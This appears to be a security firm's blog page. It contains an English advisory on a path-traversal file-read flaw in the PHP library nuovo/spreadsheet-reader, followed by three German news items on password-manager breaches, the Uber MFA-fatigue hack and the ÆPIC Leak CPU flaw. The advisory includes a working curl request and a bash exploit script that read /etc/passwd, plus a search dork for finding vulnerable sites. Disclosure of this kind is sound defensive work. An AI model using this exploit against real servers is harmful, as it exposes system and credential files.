HiSolutions Research

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

Doch lieber Zettel unter der Tastatur? Sicherheitslücken in Passwortmanagern

Natürlich ist das berühmte (und leider auch in einigen unserer Audits anzutreffende) Post-it am Monitor oder unter der Tastatur keine Lösung zum Speichern von Passwörtern. Passwortmanager sind angetreten, um das Problem zu lösen, dass sich Menschen nur wenige technisch sichere Passwörter merken können. Auch wir empfehlen die Nutzung regelmäßig, da so für jeden Dienst und jedes System ein individuelles, und vor allem auch bei Brute-Force-Angriffen sicheres Passwort leicht erzeugt werden kann. Gleichzeitig wird der Passwortmanager damit zu einem Generalschlüssel und lohnenden Ziel für Angreifer – ein neues Risiko, das man berücksichtigen muss.

Mehrere Vorfälle in der Vorweihnachtszeit haben gezeigt, wie real dieses Risiko werden kann. Die meiste Beachtung fand der Sicherheitsvorfall beim Anbieter LastPass. LastPass informierte die Nutzer bereits im August über den Vorfall. Zum damaligen Zeitpunkt ging man aber davon aus, dass die Angreifer zwar Zugriff auf Entwicklersysteme hatten, Nutzerdaten und gespeicherte Passwörter aber nicht betroffen waren. Im Dezember musste LastPass nun auch Zugriffe auf Back-ups von Kundendaten einräumen. Die Passwortdatenbanken lassen sich zwar nur mit Kenntnis des Master-Passworts des jeweiligen Nutzers öffnen. Aber damit sind wir wieder beim initialen Problem: Menschen sind meist nicht gut im Ausdenken und Merken von technisch sicheren Passwörtern.

Das Risiko besteht nicht nur bei Online-Passwortmanagern: Die Kollegen von ModZero fanden bei der OnPremise-Lösung PasswordState gleich mehrere Lücken. Kombinierte ein Angreifer ohne Zugangsdaten diese geschickt, konnte er beliebige Zugangsdaten auslesen und auch überschreiben. Die Lücken sind bereits behoben – wenn man das Update von Anfang November eingespielt hat.

https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/

https://www.modzero.com/modlog/archives/2022/12/19/better_make_sure_your_password_manager_is_secure

HiSolutions Research

Uberfällig – Gehackt via MFA-Fatigue

Die Nachricht im internen Slack des milliardenschweren US-amerikanischen Fahrdienste-as-a-Service-Anbieters Uber klang wie ein schlechter Scherz: “I announce I am a hacker and Uber has suffered a data breach”. Doch schnell wurde klar, dass sich tatsächlich jemand Zugriff tief in die Infrastruktur hinein verschafft hatte. Der 17-jährige mutmaßliche Täter, den die Polizei letzte Woche in England verhaften konnte, und der Mitglied der Gruppe LAPSUS$ sein soll, hatte sich einer neuartigen, schnell an Beliebtheit gewinnenden Angriffstechnik bedient: Um Zugriff aufs interne Netz zu erhalten, löste er sehr viele Anfragen nach Bestätigung des zweiten Faktors für einen Fernzugriff kurz hintereinander aus und schrieb außerdem dem Dienstleister, der diese erhielt, per WhatsApp, dass dieser doch bitte den Zugriff im Namen der internen Uber-IT zulassen solle. Als die sogenannte MFA-Fatigue – also die Übermüdung aufgrund der vielen Warnungen – einsetzte, ließ der Dienstleister den Angreifer hinein, woraufhin sich dieser im Netz weiterbewegen konnte.

Zukünftig muss also die Möglichkeit von Fatigue- und anderen MFA-Mitigation-Angriffen mitgedacht und durch Sensibilisierung und weitere technische Maßnahmen wie die Unterdrückung von MFA-Massenanfragen eingehegt werden.

https://www.infoq.com/news/2022/09/Uber-breach-mfa-fatigue/

Woran leakts? ÆPIC Leak – Mikroarchitektur-Schwachstelle bedroht sichere Enklaven

Die durch Forschende u. a. der Universität Sapienza Rom und der TU Graz entdeckte Schwachstelle „ÆPIC Leak“ (CVE-2022-21233) erlaubt erstmals, über die Mikroarchitektur geheime Daten aus Intel-CPUs zu stehlen, ohne dabei einen verrauschten Seitenkanal wie Meltdown oder Spectre zu benötigen. ÆPIC („Architecturally Leaking Uninitialized Data from the Microarchitecture“) funktioniert auf allen aktuellen Sunny-Cove-basierten Intel-CPUs. ÆPIC Leak kommt über einen sogenannten „uninitialized read“ – also ein Lesen von Speicherbereichen, in denen ein anderer Prozess Datenreste hinterlassen hat – in der CPU an Informationen, die zwischen dem L2- und dem Last-Level-Cache übertragen werden. User mit privilegiertem Zugriff können diese so extrahieren, etwa auch aus SGX-Enklaven, die eigentlich die Daten genau vor diesen Root-Usern schützen sollen.

Normale User können ÆPIC Leak nicht ausnutzen, da sie keinen Zugriff auf die physische APIC MMIO haben; auch VMs wird dieser Zugriff durch die Hypervisoren verwehrt. So wird die Lücke insgesamt nur als mittel eingestuft.

Insbesondere Systeme mit CPUs, die sich auf sichere Enklaven verlassen, um Daten vor privilegierten Angreifern zu schützen, sollten dringend gepatcht werden.

https://aepicleak.com/